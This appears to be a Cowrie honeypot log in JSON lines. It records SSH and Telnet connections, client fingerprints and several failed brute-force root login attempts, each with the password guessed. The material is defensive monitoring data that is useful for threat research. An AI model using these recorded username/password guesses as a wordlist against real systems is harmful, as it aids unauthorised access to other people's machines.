{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:41.974593Z","src_ip":"92.207.4.157","session":"8bb26a29957f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"170cbed63dfe","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 170cbed63dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:42.109384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:42.114887Z","src_ip":"74.243.239.219","session":"170cbed63dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:42.286643Z","src_ip":"74.243.239.219","session":"170cbed63dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:42.450323Z","src_ip":"92.207.4.157","session":"8bb26a29957f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0s1t1v3","message":"login attempt [root/p0s1t1v3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:42.994498Z","src_ip":"74.243.239.219","session":"170cbed63dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:43.600044Z","src_ip":"92.207.4.157","session":"8bb26a29957f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:44.165993Z","src_ip":"74.243.239.219","session":"170cbed63dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45722,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce599e1bdbe","protocol":"telnet","message":"New connection: 192.119.13.58:45722 (10.17.0.5:23) [session: 2ce599e1bdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:45.074540Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36476,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbae957e60f","protocol":"telnet","message":"New connection: 192.119.13.58:36476 (10.17.0.5:23) [session: 3dbae957e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:49.742531Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd0748ebe72","protocol":"telnet","message":"New connection: 192.119.13.58:49736 (10.17.0.5:23) [session: 1bd0748ebe72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:53.218061Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36438,"dst_ip":"10.17.0.5","dst_port":22,"session":"20608d762c95","protocol":"ssh","message":"New connection: 103.176.20.57:36438 (10.17.0.5:22) [session: 20608d762c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:54.019304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:54.024493Z","src_ip":"103.176.20.57","session":"20608d762c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:54.278272Z","src_ip":"103.176.20.57","session":"20608d762c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44444","message":"login attempt [root/44444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:55.044842Z","src_ip":"103.176.20.57","session":"20608d762c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:56.301538Z","src_ip":"103.176.20.57","session":"20608d762c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.22319769859314,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:57.343648Z","src_ip":"192.119.13.58","session":"492a846c66a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40364,"dst_ip":"10.17.0.5","dst_port":22,"session":"bafc1634ae37","protocol":"ssh","message":"New connection: 103.27.238.116:40364 (10.17.0.5:22) [session: bafc1634ae37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:57.445945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:57.451288Z","src_ip":"103.27.238.116","session":"bafc1634ae37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:57.726337Z","src_ip":"103.27.238.116","session":"bafc1634ae37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:58.547502Z","src_ip":"103.27.238.116","session":"bafc1634ae37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:59.823823Z","src_ip":"103.27.238.116","session":"bafc1634ae37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.070897579193115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:59.921787Z","src_ip":"192.119.13.58","session":"e25dc96f45d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37800,"dst_ip":"159.203.135.109","dst_port":22,"session":"e10ab2ab208b","protocol":"ssh","message":"New connection: 37.143.61.84:37800 (159.203.135.109:22) [session: e10ab2ab208b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:00.194447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:00.200216Z","src_ip":"37.143.61.84","session":"e10ab2ab208b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:00.306327Z","src_ip":"37.143.61.84","session":"e10ab2ab208b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:00.687146Z","src_ip":"37.143.61.84","session":"e10ab2ab208b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.51117706298828,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:01.304715Z","src_ip":"192.119.13.58","session":"6ff49833a18a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"9edd8a0ccdb1","protocol":"telnet","message":"New connection: 192.119.13.58:55554 (10.17.0.5:23) [session: 9edd8a0ccdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:01.654066Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:01.806901Z","src_ip":"37.143.61.84","session":"e10ab2ab208b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":26169,"dst_ip":"10.17.0.5","dst_port":22,"session":"c826f3952d7c","protocol":"ssh","message":"New connection: 186.122.177.140:26169 (10.17.0.5:22) [session: c826f3952d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:09.554617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:09.561014Z","src_ip":"186.122.177.140","session":"c826f3952d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:09.728602Z","src_ip":"186.122.177.140","session":"c826f3952d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:10.551142Z","src_ip":"186.122.177.140","session":"c826f3952d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":56156,"dst_ip":"10.17.0.5","dst_port":22,"session":"4563353d6df7","protocol":"ssh","message":"New connection: 43.135.177.217:56156 (10.17.0.5:22) [session: 4563353d6df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:10.731495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:10.742323Z","src_ip":"43.135.177.217","session":"4563353d6df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:10.811042Z","src_ip":"43.135.177.217","session":"4563353d6df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yY123456","message":"login attempt [root/yY123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.116413Z","src_ip":"43.135.177.217","session":"4563353d6df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":51532,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb46544f31f","protocol":"ssh","message":"New connection: 77.105.130.18:51532 (159.203.135.109:22) [session: 0eb46544f31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.600281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.605331Z","src_ip":"77.105.130.18","session":"0eb46544f31f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.705034Z","src_ip":"77.105.130.18","session":"0eb46544f31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.796774Z","src_ip":"186.122.177.140","session":"c826f3952d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.15484976768494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.877332Z","src_ip":"192.119.13.58","session":"0ce194c24311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36702,"dst_ip":"10.17.0.5","dst_port":23,"session":"874ddc83e844","protocol":"telnet","message":"New connection: 152.42.224.71:36702 (10.17.0.5:23) [session: 874ddc83e844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:11.941247Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:59:12.143451Z","src_ip":"77.105.130.18","session":"0eb46544f31f","protocol":"ssh"}
